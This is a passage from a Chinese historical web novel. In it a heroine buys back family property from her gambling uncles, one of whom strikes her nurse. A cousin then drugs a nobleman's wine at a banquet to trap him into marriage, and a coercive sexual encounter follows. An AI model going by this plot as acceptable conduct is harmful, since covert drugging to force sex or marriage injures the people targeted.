“你要干什么?从前是让你提前出嫁,但是如今你已经成为上官东家,名声赫赫,手下金银钱财无数,我们之间的事情就当一笔勾销!你赶快把两万两银票拿出来!” 姜柏舟脸色难看得紧,宽袖下的手微微紧握,背脊紧绷,以防御的姿态面对着姜清宁。 “一笔勾销?”她抬起头,唇角勾起一丝极淡、极冷的弧度,那笑意未达眼底,反而衬得眸光更加幽寒,直直刺向对面魂不附体的两人。 “二伯,三伯。”她的声音很轻,却带着一种奇异的穿透力。 “当年你们也是这般,轻飘飘一句话就勾销我父亲与兄长的性命前程,毫不犹豫地赶被流放的他们出府,如今还想就这么勾销我的一生么?” “啪!”姜松岩面前案几上的茶盏被他失手碰倒,滚烫的茶水泼了一桌,顺着桌沿滴滴答答流下,他却浑然不觉,只是惊恐地盯着姜清宁。 “八年前,你们说女子生来便是依附男人的藤蔓,能攀上高枝为家族换取喘息之机,是我姜清宁的福分。” 姜清宁的声音如同淬了寒冰的利刃,每一个字都剖开血淋的过往。 姜柏舟浑身剧烈地一抖,嘴唇哆嗦着,想要反驳,却只发出倒吸冷气的声音。 姜松岩脸上的病态红晕瞬间褪去,变得一片死灰,冷汗涔涔而下。 “岭南!”姜清宁猛地站起身,那身素色的衣裙无风自动,一股凛冽的寒意以她为中心骤然扩散开来,整个当铺的温度似乎都骤降了几分。 她盯着两人,眼中燃烧着压抑的滔天恨意,“瘴疠之地,流放几乎五千里!我父亲母亲、兄长、阿妹八年不得回京,可曾感受过你们一句嘘寒问暖!” 最后一句,已带上了难以抑制的哽咽,却被她死死咬在齿间,化作更深的恨毒。 姜清宁深吸一口气,扬了扬手中的契约,纸张在昏暗光线下发出脆弱的声响,目光扫过那几处被墨笔圈定的产业名称,最后落回对面两张惨无人色的脸上。 “所以,今日你们变卖祖产,是为了填补哪家赌坊的无底洞?‘红运赌坊’还是‘千金一掷楼''?或是又欠了哪位‘贵人''的印子钱,利滚利到了不得不挖祖坟的地步?” “你……你血口喷人!”姜柏舟像是被踩了尾巴的猫,猛地从椅子上弹起来,色厉内荏地吼道,手指颤抖地指着姜清宁,“我们……我们是为了周转生意!是为了给家中男丁谋得重要的职位光宗耀祖!你懂什么!” “周转生意?光宗耀祖?”姜清宁嗤笑一声,“好个冠冕堂皇的理由,二伯,你袖袋里那张鸿运赌坊的欠条,墨迹可还没干透吧?三伯,你昨夜在金楼输掉的那枚祖传的羊脂玉扳指,可还心疼?” 她的话如同精确的毒箭,瞬间射穿了两人强撑的伪装,姜柏舟下与姜松岩面如死灰,嘴唇翕动着再也吐不出一个字。 姜清宁向前逼近一步,那契约纸几乎要戳到姜柏舟的鼻尖:“当年你们说,女子只能靠嫁人,靠攀附男人活着,那么现在……” 她的目光如同冰冷的探针,刺入姜柏舟与姜松岩惊惶的眼底。 “我用你们亲手变卖的、姜家列祖列宗传下的祖产同样的价格,来买回姜家祖宅,不知二伯三伯是否愿意?” “祖宅”二字,如同两道惊雷,狠狠劈在姜柏舟和姜松岩的头顶。 “你休想!”姜柏舟像是被彻底点燃的炮仗,所有的惊恐和心虚在“祖宅”这个绝对禁忌被触碰的瞬间,爆发成了歇斯底里的狂怒。 姜柏舟狂怒,他才是姜家的家主,姜清宁如今一朝抓住机会,竟然还想从他的手中夺权! 家主之位从兄长手中夺回来一日,他从此之后就永远是姜家的家主,谁都别想更改!谁都别想夺权! 他猛地挥臂,狠狠扫向姜清宁手中的契约文书。 “啪!” 一声脆响,并非契约撕裂,而是姜柏舟手边的青瓷茶盏被他挥袖时带飞,狠狠砸在旁边的多宝阁架子上,碎裂的瓷片四溅飞射。 “贱婢!痴心妄想!”姜柏舟面容扭曲,双目赤红,指着姜清宁破口大骂,唾沫星子横飞。 “祖宅是姜家的根!是我们兄弟的!岂是你一个被夫家休弃、名声扫地的下堂妇能染指的?你算个什么东西,当年就该让你跟着那两个一起死在岭南路上,省得今日回来祸害家门!” “你住口!不许你侮辱我家小姐!” 默默护卫在姜清宁身侧的张嬷嬷此刻再也无法忍耐,她视若性命的小姐被人如此咒骂,积压了八年的悲愤、屈辱和对主家的忠诚,在这一刻轰然爆发。 她一步抢到姜清宁身前,瘦小的身躯竟爆发出惊人的气势,布满皱纹的脸因极致的愤怒而涨红,枯瘦的手指直直指向姜松岩的鼻子,声音因激动而尖锐发颤: “当年你们这两个黑了心肝烂了肠肚的赌鬼,为了几两赌债就丧尽天良出卖至亲,老爷夫人何等清正,大少爷何等仁厚!” “你们……你们为了掩盖你们的龌龊,竟敢攀诬权贵证实莫须有的罪证,你们的心是被狗吃了,被那赌坊里的骰子染得比墨还黑!” “老刁奴,找死!” 一声暴戾的怒吼打断张嬷嬷的控诉,一直瘫在椅子里、脸色青白变幻的姜松岩被“黑心肝”三字彻底刺中最深的恐惧和痛脚。 他从椅子上弹起,用尽全力狠狠掴向张嬷嬷。 “啪——!” 姜松岩的力道之大,令张嬷嬷整个人猛地向旁边踉跄扑倒,她的身体如同断线的风筝重重撞在冰冷的角柱上,额角磕在坚实的柱子上,发出令人心悸的闷响。 “嬷嬷!”紫苏的尖叫声响起。 第六十九章都是外祖萧家留下的 张嬷嬷软软地顺着柜台滑倒在地,一缕刺目的鲜血缓缓从她撞破的额角流下来,口中鲜血同时喷出。 她蜷缩在那里,身体因剧痛而微微抽搐,花白的头发散乱地粘在血迹斑斑的脸颊上。 紫苏扑过去,颤抖着想要扶起她,却被张嬷嬷微弱的摇头阻止。 张嬷嬷浑浊的眼睛死死盯着姜松岩,那眼神里有痛楚,有屈辱,但更多的,是一种刻骨的恨意和不屈。 “你当年就是如此对待老爷和夫人的,现如今竟还敢威胁大小姐,我即便是舍弃这条命,也要为大小姐鸣不平!” 姜松岩喘着粗气,胸膛剧烈起伏,打人的那只手还在微微颤抖,仿佛被自己刚才的暴行惊到,又仿佛被那刺目的鲜血刺激得更加暴躁。 他色厉内荏地瞪着地上的张嬷嬷,又猛地转向姜清宁,嘶吼道:“姜清宁!管好你养的狗!再敢乱吠,老子……” 他的话,戛然而止。 一股冰冷刺骨的目光瞬间攫住了他。 姜清宁站在那里,目光落在姜松岩那只刚刚行凶的手上。 那张清绝的脸上,所有的表情消失殆尽,只剩下一种极致的令人骨髓冻结的平静。 但那双眼睛里释放出的杀意,使目光如有实质,冰冷、粘稠、带着死亡的气息,牢牢锁在姜松岩身上,让他后面所有的狠话都死死堵在喉咙里。 当铺里死寂的可怕,只有张嬷嬷压抑的、痛苦的抽气声,如同破旧的风箱,微弱地撕扯着凝滞的空气。 “大小姐,老奴没事,老奴只是再也见不得您受委屈啊!”张嬷嬷悲戚地哭嚎道,眼泪混淆着额头流下的血迹,使她的面容看起来格外的可怖。 紫苏手忙脚乱地拿出干净的棉帕为张嬷嬷摁住额头,她忙对刘掌柜喊道:“愣着干什么!快让人去找大夫啊!晚了张嬷嬷出事你担待得起吗!” 刘掌柜从愣神中反应过来,忙朝着门外走去,吩咐小二去快马加鞭地请大夫。 姜清宁抬手摸向青釉压手杯,釉色莹润如玉,杯壁厚实稳重,是当铺柜台上常用的器皿。 她的手稳稳地握住了那只青釉杯的杯身,而后姜清宁高高举起,再没有丝毫犹豫,用尽全力,朝着姜柏舟和姜松岩两人之间的地面狠狠掼下。 “哐啷——!!!” 坚硬的青釉杯瞬间粉身碎骨,无数锋利的闪烁着冰冷寒光的瓷片向四面八方激射飞溅。 瓷片砸在姜柏舟和姜松岩的袍角靴面上,甚至有几片擦着他们的脸颊飞过,留下细微的血痕。 “姜清宁,你干什么!” “姜清宁,你想忤逆长辈不成!” 两人被这突如其来的巨响和飞溅的碎片骇得魂飞魄散,齐齐发出一声短促的惊叫,跟跄着向后猛退数步,后背重重撞在椅子上强稳住身体,脸上血色尽失,只剩下无边的惊恐。 飞溅的碎瓷甚至有几片射到了刘掌柜的脚边,吓得他“妈呀”一声,抱着头蹲了下去,再不敢抬眼看。 满地狼藉。 茶水混着张嬷嬷的血,在冰冷粗糙的青砖地上蜿蜒流淌,又被飞溅的茶水稀释。 “我想干什么?忤逆长辈?你们的所作所行可有一点儿长辈的模样,怕是姜家的老祖宗看到你们如此变卖家产,打骂忠仆,都能被气得活过来!” 大大小小的青白色瓷片,如同散落的寒星,铺满了姜柏舟和姜松岩面前的那片地面,在从高窗斜射进来的微弱光柱下,闪烁着冰冷、锐利、令人胆寒的光芒。 “姜清宁你放肆!”姜柏舟疯狂眨眼,想让自己变得不那么瑟缩,他鼓起勇气对着姜清宁怒喝,恨不得将她家法对待的模样。 “就是!兄长当年就是教导你如此对待家中长辈的吗?从前你还是个知礼守孝的孩子,现如今竟然是如此的忤逆长辈,不忠不孝!” 姜松岩见姜柏舟如此,顿时上前跟着开始训斥,不给姜清宁丝毫开口驳的机会,将她彻底的钉入这不忠不孝的名头里。 “你若是还尊我们是个长辈,就把你手中的家产还回来,当年你可从姜家拿走不少的嫁妆!没有这些钱你哪来的银钱做买卖!” “没错,快交出来!否则我们就会去公堂状告!让你彻底的身败名裂!” 姜柏舟和姜松岩一唱一和,恨不得将她彻底地就此定罪。 姜清宁嗤笑一声,冷眼瞧着他们:“家产?二伯三伯指的是我刚从你们手里,签字画押,名正言顺买回来的姜家家产吗?” 姜柏舟怒声反驳:“你明知道我们说的不是这个!姜清宁!不要逼我们动用家法!” “那你们来啊!” 姜清宁站在这一地狼藉与寒光之中,疾声厉色地反驳回去。 她目光如同利刃般从惊魂未定、面无人色的姜松岩脸上一寸寸刮过,最终定格在他那只行凶的手。 她的声音响了起来,每一个字都清晰无比地钻进在场每一个人的耳朵里,带着一种冻结灵魂的平静。 “再敢碰我或者我的人一下,就用你们的命,一片、一片,给我抵干净。” 话音落下,再无余响。 姜柏舟和姜松岩后背发冷,脸上最后一丝人色也褪尽了,只剩下劫后余生般的惨白和深入骨髓的恐惧。 “旁人或许不知,但你们不可能不知道,我的嫁妆全部都是我外祖家留给母亲的,当年我的十里红妆全部都是萧家的银钱祖产,姜家可从未出过一分钱。” “别忘了,当年姜家的家主是我父亲,你们所有人都靠着你们的大哥养着,一个个不务正业整日赌钱,得罪权贵转头就把侄女推出去的人,能够有什么家产?” “我能出两万两买下这些铺子水田,那是不忍姜家最后的祖产,我父兄拼命守护的东西流落到旁人的手中,除此之外和你们再无关系!” 姜清宁的一声冷笑响起,引得二人齐齐背脊一僵,险些就此瘫坐在地。 “刘掌柜,取出银票给他们,方才这二人顶撞于我,扣除两千两作为张嬷嬷的医药费。” 第七十章姜家二房的筹谋 紫苏紧紧抱着张嬷嬷,眼泪无声地汹涌而出。 她用力咬着下唇,不让呜咽声泄出半点,恐惊了怀中的人。 张嬷嬷额角的伤口还在渗着血,白色的棉帕处处溢着红,血丝混着泪水蜿蜒而下。 她浑浊的眼睛死死盯着那两个男人,刻骨的恨意支撑着她,竟让她连一声痛呼都未曾再发出。 “好、好、东家。”刘掌柜连滚带爬地爬起来,将一旁锦盒打开,数出一万八前两递给他们。 “二位可拿好了!除了这道门该说什么不该说什么,想必二位爷心里清楚,上官东家五湖四海的认识不少江湖侠士,小心哪天说漏了嘴害得自家无人生还!” 刘掌柜说得实在恐怖,姜柏舟快速接过银钱,和姜松岩一齐对视一眼,眸中的坏点子泛起。 灯油将尽的油灯挣扎着吐出一点黄豆大小的昏黄光晕,那光晕微弱地摇曳着,勉强照亮姜清宁的半边侧影,只见她冰冷地启唇: “给我滚出去,否则我现在就让你们偿命。” 姜柏舟和姜松岩不甘心的对视一眼,但是害怕门外的武夫冲进来,只能就此作罢,狼狈地携着银钱逃出去。 房间内再次归于寂静。 姜清宁低叹一声,转身蹲在张嬷嬷的身旁,望着那被鲜血浸透的帕子,双眼满是悲伤地询问:“嬷嬷,你这又是何苦呢?” 张嬷嬷哀戚道:“大小姐,老奴再不允许你受辱啊!” “嬷嬷心疼我,我是知道的,可是嬷嬷要是出了什么意外,清宁这辈子又怎会安心呢?” 姜清宁红了眼眶,小厮带着大夫冲进来,边跑边喊道:“大夫来了!大夫来了!” 姜清宁赶忙擦去眼角的泪水,抚了抚鬓角的发丝,同时起身将位置让给大夫,转身不让任何人看到自己在一瞬间展露出来的脆弱。 街道上。 姜柏舟和姜松岩第一时间去到巷子里,将欠下的一万五千两还给两家等候的赌坊。 “姜二爷、姜三爷果真都是守信用的人,自此咱们的欠据就撕毁了,以后别忘记常来鸿运赌坊和千金楼玩啊。” 两拨人将姜柏舟与姜松岩难看的脸色映入眼帘,笑哈哈的撕碎欠据,塞进二人的怀里,转身结伴而出。 “如今竟然只剩下三千两了……姜府用不了多久就会坐吃山空了,我儿和侄子的官职还没个定数,这可如何是好?” 姜柏舟望着手中薄薄的几张银票,拿出其中一千两递给姜松岩,叹气道:“三弟啊,咱们这次算是栽了个狠狠的跟头,看来赌钱回本的法子是行不通了。” 姜松岩望着手中的银票,卷吧卷吧小心地放在袖袋之中,附和道:“如今看来只能找勋贵之家做姻亲,盼望着亲家往后带带族中的孩子,并且让他们多支援了。” 现如今出了大血,两人都默契地没有再提赌注的事情,毕竟这次可真的只剩下几间不值钱的铺子,以及姜家的祖宅了。 要是谁再忍不住,那恐怕输了钱,只能用手来抵债了。 “咱们姜家已经没落,如今能够够得上的满京城找不着一家,又有谁还有勋爵之位,又能帮扶咱们呢?” 姜柏舟听到这话顿时觉得可行,但短短一瞬间,在大脑中过了一圈,竟然发现没有一个人选。 “二哥的嫡女如意年轻貌美,配如今的安平伯最好啊,安平伯未而立之年,就已经有如此大的本领,靠着治水就获封了安平伯的荣誉,虽然不是世袭制,但到底是正四品的佥都御史,还有着检查百官的职权。” 姜松岩小心翼翼地观察着姜柏舟的神情,察觉到他脸上的松动之情,顿时顺着杆子往上爬道: “咱们如意配安平伯正好啊,姜清宁对不起安平伯府,如今安平伯府急着给府中的嫡长孙找继母,这可是如意的好机会,二哥莫要损失了次次良机啊!” 姜柏舟迟疑:“可是那安平伯已经有了五岁的嫡子,还有个表妹在身旁照料,他上个月的风流韵事可是传得满京城人人皆笑话啊。” 姜松岩叹气,解释道:“二嫂与二哥成婚二十多年,膝下诞育二子二女,如意注定是好生养的孩子,以后嫁给安平伯府,还愁生不下安平伯的嫡子嫡女吗?” “只要如意成婚后顺利地怀上嫡子,就有婆母安平伯老夫人的偏爱,我家夫人可告诉我了,安平伯老夫人如今最是不喜那狐媚祸子的表外甥女。” “即便她日后入了安平伯的后院又如何,一个和离的二嫁妇,还此生不能有孕,加上被安平伯老夫人不喜,还被逐出了白家,那就是当贱妾通房的份,越不过如意分毫啊!” 姜松岩着急道:“二哥,抓住机会!” 姜柏舟被姜松岩彻底说动,心中不由得活络起来。 若是安平伯成为他的嫡亲女婿,还不愁给家中的儿子找不到出路吗?他还至于会因为欠债被债主追着,逼得来变卖姜家的家产吗? “三弟说得对,我这就回去给你二嫂和如意侄女诉说此事,五日后安平伯府宴会上,安平伯老夫人选儿媳,如意一定要就此抓住机会!” “二哥聪慧!” 兄弟俩一拍即合,顿时快步地钻出巷子,上了马车,飞快地命令车夫回府。 姜府。 二房院落。 “爹爹,你真的同意我嫁给安平伯了?” 姜如意惊喜不已,丝毫没注意到母亲笼上愁容的面孔,她抱着姜柏舟的胳膊不停地撒娇。 “老爷,这件事是不是太匆忙了……毕竟咱们和安平伯府如今的关系……” 二夫人不确定地询问,她担心安平伯府介意姜家的身份,姜如意即便是嫁过去,也会不被喜欢,更何况那安平伯就是个花心的风流浪荡子…… 姜如意不满道:“母亲,您就别担心了,如意自然有办法让安平伯老夫人喜欢上我,安平伯夫人的身份只能是我的!” 她的语气中充满矜娇,仿佛已经梦想成真一般。 “这才是我的好女儿!”姜柏舟鼓掌,对二夫人道:“你今日就让人入府,好生地为如意裁剪几身时兴的衣裳来!” 宁阁。 姜清宁看着暗线传回的消息,眉眼间充斥着严肃。 第七十一章安平伯府宴会 天色渐渐地亮起来,安平伯府的府门大开,皇帝赏赐的三进院落,终于发挥了自身最大的价值。 平日不富贵的人家,今日竟然用心耗费银钱装点起府内上下来,只能说不愧是宫中的能工巧匠修缮过的院子,即便过了好几年也依旧繁华不减更添古朴庄重。 安平伯老夫人今日是铁了心似的,要给荀臣寻上一门妥帖的妻室,为此甚至不惜动用了自己的棺材本私房,将膳食歌舞酒水布景都做到最好。 她戴着华贵的首饰,穿着华丽的服饰,满脸笑意的坐在首位之上,不慌不忙地吩咐着府中上下的打点。 日头出来,临近晌午时分,安平伯府外车马喧嚣如潮水般涌至,又秩序井然地退去,余下宾客们纷纷整理衣冠,官员来着妻女们肃整面容地踏着青石甬道前行。 两旁的侍者挺立如松,恭敬地低头迎着每一位宾客。 “这安平伯府到底是皇上亲封的伯府,安平伯又是正四品的官员,将京城的官员大大小小地筛选下去一半多。” “咱们安平伯府这么多年来,好不容易举行个除了老夫人寿诞之外,这么大的宴会,他们自然是迫不及待的前来的。” 嬷嬷守在安平伯老夫人的身侧,望着她满意的神情,恭谨地垂眸恭维着她爱听的话,后者殊不知自己一手提拔上来的掌事嬷嬷早已在几日前被人收买。 “你啊……果真是个贴心儿的人,不枉我把你一手提拔上来。” 安平伯老夫人笑呵呵地说道,自从刘嬷嬷被姜清宁举报后送入官府,她的身边就没了妥帖人,如今还是全靠自己的好眼光,才能够找到不输白清漪和刘嬷嬷的好奴才。 “都是老夫人尽心教导的好。”嬷嬷姿态放得更加卑微,捧得面前人更加满意起来。 垂花门前,管家躬身迎客,口中唱喏之声清亮悠扬:“吏部王大人到——”“平江侯府三公子到——” 每一声报出,便引来附近宾客一阵低于,或艳羡,或揣测,目光或明或暗地投注于那新到的宾客身上。 女客们尤甚,许多人不仅是为安平伯来的,昔日安平伯因为容貌甚好,加上治水有功得皇上亲封,引得京城无数的贵家公子争相交友,这往来的就如平江侯府的三公子便是貌比潘安,身份尊贵。 她们钗环簪珥,身着绫罗绸缎,随莲步轻移而泠泠作响,或矜持地以团扇半遮玉容,彼此交头接耳,目光流转间皆是无声的较量与品评。 “今日就当是寻常的家宴,大家吃好喝好,我儿待会儿便回府来了。” 老夫人笑呵呵的开口,眉眼间满是满意的笑容,待宾客们到齐之后,无数的好菜好酒依次上桌,令他们暗中点头安平伯府的奢华,看来前阵子老夫人抢前儿媳嫁妆的事情只是子虚乌有。 “安平伯回府——!”管家一声高喝,当即引来无数宾客循声看去。 荀臣一身绯色官袍,衬得面冠如玉,身形高大,眉眼深邃,尽管是一位和离过的男子,但竟让在场大半的闺秀都红了脸庞。 “安平伯!许久未见!今日可好?”吏部王大人上前恭维。 “王大人好,进来一切皆好,只是今晨府衙之内有些杂事,去处理了一番,如有怠慢之处还请海涵。” 荀臣拱手,言语流畅,举止优雅,俨然是一副令人几位尊崇的模样。 姜如意随着父母落座在他们身后的桌,目光扫过这满堂的锦绣华服,珠光宝气,再看到与同僚谈笑风生的绯色官袍的年轻男人。 她抬手不自觉地整理好衣衫发钗,向不远处悄然立于亭角的丫鬟使了个眼色,动作间带起一丝不易察觉的急促。 丫鬟接收到示意,端起一旁的酒水走向荀臣,恭敬地举起托盘,荀臣转身自然地接过,与平江侯府的三公子,他的至交好友叙话。 “可以啊你荀臣,不愧是我的好兄弟,伯母一句暗示地选儿媳,便有小半个京城的官员带着家眷来了。” 林升一身亮青色锦袍,头戴玉冠,俨然刚及笄的年纪。 见到这副场景不由得艳羡起来,人生最得意的事情莫过于金榜题名日和洞房花烛时,而平江侯府的家教极严,断没有家中子嗣成婚前纳妾成通房的规矩。 荀臣调侃地看了他一眼:“你是平江侯府的嫡子,前面两个嫡兄成亲之后,后面便轮到你了,急什么?” 林升听到这话心中稍加安定,配合地点头:“你说得对,下月便是二哥的婚事,没准今年年底我就要定下了。” “哎,那是姜府的人吗?他们不是你前妻的娘家吗,怎么还有脸来?” “不过这姜家二房三房的待遇还真是不一样,你瞧那姜柏舟的嫡女打扮的锦衣华服的,偏生三房的嫡女一身素青色,头上带着简单的玉钗,不过模样倒是好看极了。” 荀臣听着林升的话,脑海中闪过姜清宁绝情的面容,他遮去眼底的不自然,朝着林升看去的地方望去。 在看到那抹青色身影的侧脸时,他顿时僵在了原地。 姜如意感受到荀臣的视线,心中顿时激动起来,脸上浮现起一股害羞的粉红,然而不过片刻她就注意到荀臣的失神。 错愕地跟着他的视线望过去,却在下一瞬间看到姜月柔的时候,不由得狠狠怔住,眼中闪过一抹嫌恶。 “谁让你打扮得这么俏丽的!若是坏了我的好事,我绝对饶不了你!” 姜月柔听着恶狠狠的声音抬头,刹那间对上荀臣的视线,心中猛然地惊愕起来,顿时明白了姜如意的意思——荀臣是她看中的夫婿。 “我去后花园走走。” 姜月柔不愿意和她争辩,和父母说了声,待他们从人堆里敷衍得回了句好后,行了礼带着丫鬟走向拱门。 待远离了人群的喧嚣,丫鬟不忿道:“大小姐,这二房的如意小姐当真是被宠惯了,连您这个嫡姐都不尊敬,她若是嫁入这安平伯府,指不定要因为这坏脾气被……” 姜月柔垂眸底斥一声:“住口,她岂是你我能讨论了,你也说了,她只是被宠惯了……不过是什么好东西都是要什么有什么,才会如此罢了,怪不得她的。” 只怪她姜月柔投错了胎,注定要在这跟这吃人的姜家牵连上来,好赌的父亲与伯父,不成器的兄长弟弟,终日以泪洗面的母亲,她姜月柔一辈子都注定万劫不复。 第七十二章不过两包的剂量 “不想这些了,我们去前头看看,到底是伯府的花园,待姜如意成了安平伯府的夫人,这里恐怕这辈子都来不了了。” 姜月柔低笑一声,苍白地扯了扯嘴角,迈步朝着心仪的那朵牡丹走去。 林升被姜月柔娴雅知礼大方的礼仪神态吸引,忍不住开口夸赞道:“她当真是好脾气,若是我被比自己小的妹妹凶了,定然是没这个好脾气的,就算是嫡亲的妹妹都要干一架分个输赢才好。” “她反而是不骄不躁,处处礼让,明知道妹妹的心思,便以一袭简单的青衫装点自身,殊不知这样温柔美好的安静美人,穿什么都是好看的。” 荀臣已经从姜月柔疏离的目光中走出,又是一个和姜清宁一样分不清自身,倨傲冷淡的女人。 他听到林升的话,轻嗤一声:“可惜了,即便你再喜欢,平江侯夫人都不会准许你纳妾的。” 话音了下,他将在场的闺秀们一一打量,心中隐约见了个大概,这些个闺阁小姐他一个都不喜欢,总觉得缺了点什么。 林升看出他的情绪,嗤笑一声:“你竟然还瞧不上现场的闺秀千金,这些哪一个不是温柔貌美的淑女?总不能你看上了姜家二房的小姐,就喜欢聒噪自恋的?” 荀臣抿唇不语,将杯中的酒水一连饮下数杯,只觉得越喝口中越干燥,整个人都禁不住似地热了起来。 “你先再次玩会儿,我回书房换身衣衫。” 荀臣感受到下腹一阵热流涌起,他心中暗道不好,急匆匆地对着林升说了句,正在和旁人说笑的林升没听清下意识地跟了过去。 “荀臣,等等,你干什么去?” 越过花园,荀臣的眼前越来越恍惚,他望着不远处的青色人影,逐渐和心中的人脸重合。 “姜清宁?呵,口中说着绝情的话,但还是忍不住来参加宴会偷看是吗?” “本官已经看透你了,姜清宁。”荀臣话音落下,大步流星地朝着前方的人走去。 姜月柔听到脚步声望去,和荀臣猩红的双眼对上,顿时想到是姜如意的手笔,她连忙松下手中的花后退。 “安平伯?你莫不是认错人了?” 丫鬟将姜月柔护在身后,大声地呵斥道。 荀臣晃了晃脑子,眼前一瞬间闪过姜月柔惊慌的神情,即刻便变为姜清宁清冷厌恶的模样,他咬牙道:“姜清宁,你这次别想再骗我!” 姜月柔听到此等隐秘,心中大骇不已,转身就跑,毫不犹豫。 林升追了过来,刚步入后花园,就见到眼前的一幅场景,吓得快步冲上去将荀臣抓住,一拳打上他的颌骨。 “你疯了不成!好生的看看这是谁!” 林升挡在姜月柔的身前,脸色阴沉地怒喝,他气得背脊紧绷,不敢想自己晚来一会儿会发生什么。 若是这个女子被荀臣碰到,但凡挣扎间衣衫不整,再回想起荀臣在席间不屑的语气,定然是不愿意娶她为妻的,这样这么好的女子只能入安平伯府为妾? 林升不能接受,他冲上去对荀臣又打了几圈,直到把本就站不稳、神志不清醒的男人打倒。 他转身认真地看向姜月柔:“今日就当你没来过这,我现在带你从侧门离府送你回去,待会儿让你的丫鬟和家人说一声你不舒服。” 姜月柔红着眼眶,惊惶未散地看着林升,心中的感激顿时浮现出来,“好……多谢你……多谢你。” 林升转头眼神复杂地看了眼荀臣,命令随侍小厮将他拖回主院,再去通知老夫人一声就说荀臣喝醉了酒,晚会儿再过去。 三人快速地朝着府外走去,待上了姜府的马车,丫鬟才转身快步跑回去和主人说了此事。 荀臣浑身燥热地躺在书房之内,不多时就把身上的绯色官袍脱下扔到地上,身上最后仅剩一件敞开的里衣。 门外传来一声细微的咯吱声,一道光打入房内,人影逐渐浮现,荀臣听着声朝着门外望去,直到恍惚间看到一道粉色的身影。 “安平伯?您这是怎么了?” 姜如意惊讶的掩唇走进:“我衣裙上洒了酒水,这才误入了此处想要更衣,安平伯可是身体不舒服,需要我派人帮你喊大夫吗?” 荀臣望着越靠越近的女子,对方娇美的容颜上满是担忧,似乎伸出手触碰了下他的额头,荀臣望着有几分熟悉的容颜。 他再也忍不住,抬手将姜如意拽到怀里,不顾她的惊呼声响起,下一刻薄唇附上遮去女子任何的声响。 床幔缓缓地垂下,一件件粉色的衣裙从里面扔出来,不一会儿便传来男人粗重的喘息,而后响起女子娇柔的痛呼和低泣。 姜如意神情痛苦地抱紧荀臣,望着卖力的男人,眼中满是满足的神情,她终于得到这个男人了。 即便是以这种方法,但是只要能嫁给荀臣,她绝不后悔! 夕阳浮现,天际一片艳丽的火烧云。 书房外守着的丫鬟听着里面经久不息的声音,以及女子娇媚不再,变得痛苦不已的挣扎声,她们艰难地对视一眼。 “怎的还没结束?嬷嬷不会是放多了剂量吧?这都多少次了?” “小姐不会有事吧,她现在这么痛苦?” 两个丫鬟对视一眼,一人咬牙道:“让她平日欺辱我们,再多等一会儿,让她多吃吃苦头,毕竟天底下没有白费的午餐,想到得到什么必定是要付出的!” 没多时,两人听到拱门处的声响,顿时对视一眼躲到不远处的假山之后。 白清漪焦急的走着,不悦地回头怒斥丫鬟:“你为何不早些告诉我,若是表哥和旁的女人发生关系,我焉能还有成为安平伯夫人的机会!” 她走到没人守候的书房外,听着里面暧昧交杂的声音,脸色顿时一白,回头对小桃道:“在这等着我,不要让任何人靠近!” 白清漪脚步加快,望着床帘上的交叠的人影,身形猛地一晃。 这地面上的衣衫她都看到了,非寻常人家所能穿的,若是有人先她一步成为表哥的人,恐怕只有这样一个法子了。 白清漪颤抖着上前,抬手掀开床幔,姜如意面色煞白地回头,拼尽最后一丝力气伸手:“救我……” 而后,便是彻底不省人事的晕了过去,白清漪咽了咽口水,颤抖着手伸向自己的腰封,系带散开,白色的衣袍掉落在地。 她伸出冰凉的手摸向荀臣炽热的肩头,抬腿爬上床榻,倾身紧紧地抱住他:“表哥,你看看我……为什么不能是我呢……我这么爱你。” 白清漪低头附上红唇,主动把自己送入荀臣的掌控之中,对方被药劲儿驱使着,不过是片刻就把她压了下去。 小桃听着里面再次响起的声音,她惨白着脸在门外传出动静的时候,朝着另一侧的假山后躲着。 安平伯老夫人带着去而复返的姜家二房三房的人,面上挂着冷淡的笑容,嬷嬷弯腰恭敬地扶着她,心中则是唏嘘不过两包药的剂量怎么就要这么久。 第七十三章计划进行中…… “许是如意这孩子跟着月柔一起回府了,如今宾客们都已经走完了,断断不会在我姜府的,孩子们年幼贪玩没准是去了哪逛街。” 二夫人眼中含泪,垂眸道:“多谢老夫人带我们找一找,只是下人们寻遍了,都没有找到这孩子的身影,月柔病了,她的丫鬟也说病没见到如意。” 姜柏舟叹气:“辛苦老夫人了,只是如意这孩子平日乖巧懂事,我们只是担心她去了哪里迷了路,想要寻一寻。” “府中已经找遍了,这处就是臣儿的院落,姜如意一个未出阁的闺阁小姐,断不会在此的。” “啊——!” 老夫人一句话没说完,荀臣的书房内便传来女人一声痛苦的哀嚎声,在场的人神情复杂。 老夫人眼中满是惊愕,反应过来后顿时快步的朝着里面走去。 “咣当——”一声,书房的门被老夫人猛地踹开,像是自己都不知道,自己竟然会有这么大的力气一般,她快步地朝着里面望去。 因着白清漪没合上一半的帘子,以至于他们现在的场景,带给老夫人无穷无尽的冲击。 “哎呦!”老夫人两眼一黑,直接晕了过去。 “老夫人!”嬷嬷连忙扶住她,上手狠狠地掐住她的人中,不给人丝毫再次晕厥的机会。 老夫人缓缓睁开眼,猛烈地深吸一口气,朝着方才的那地方看去,荀臣已经被巨大的吵闹声震得恢复些许的清醒。 抬手扯下帘子的钩子,将几人结结实实地遮在里面。 他眼神复杂地望着一旁昏厥到面色煞白的姜如意,对方的哭喊还历历在目,他竟然做了此等事情。 “表哥……”白清漪痛苦地伸手,握住荀臣的手臂,她艰难的坐起身道,“表哥,我不怪你,只要能陪伴在表哥的身边,哪怕多年的情谊只够让我做个妾,我都是愿意的。” “你当然要做妾!我安平伯府的伯爵怎可能娶你这样的女子为妻!” 老夫人反应过来,飞快地爬起来,厉声呵斥白清漪,打断她的想法。 姜二夫人听到这话,顿时明白里面除了她的女儿,竟然是还有安平伯的表妹在,恐怕也已经生米煮成熟饭。 这对她家如意来说,简直就是晴天霹雳啊! “安平伯老夫人,这里面……可有我家如意啊?” 姜二夫人后悔了,颤抖着声音怀揣着希冀询问,引得安平伯老夫人浑身狠狠一颤,竟然是有些不敢回头去看。 老夫人如今只要看到姜如意,就想到宴会上娇俏明媚的女孩,现在一丝不挂、生死不知地晕倒在她儿子的床榻之上,就不敢面对门外的姜家人。 不得不说姜家人恪守礼节没有跟进来的举动,当真是让她最后的尊严没有被扯掉,只是这如今的场景看来,姜如意必定是她的儿媳了。 纵然心中有千万般的不满意,但安平伯老夫人快步上前,低声警告荀臣道:“无论你如何不喜欢姜家人,但人家被你毁了清白,你就要去她为妻!纵然你是千万般不愿都不行!” “至于白清漪纵然你们有如何的情分都不管用了,她被你用了也只能先做个通房丫鬟伺候着!否则刚成婚就纳妾,你这是光明正大地打自己妻子的脸!” 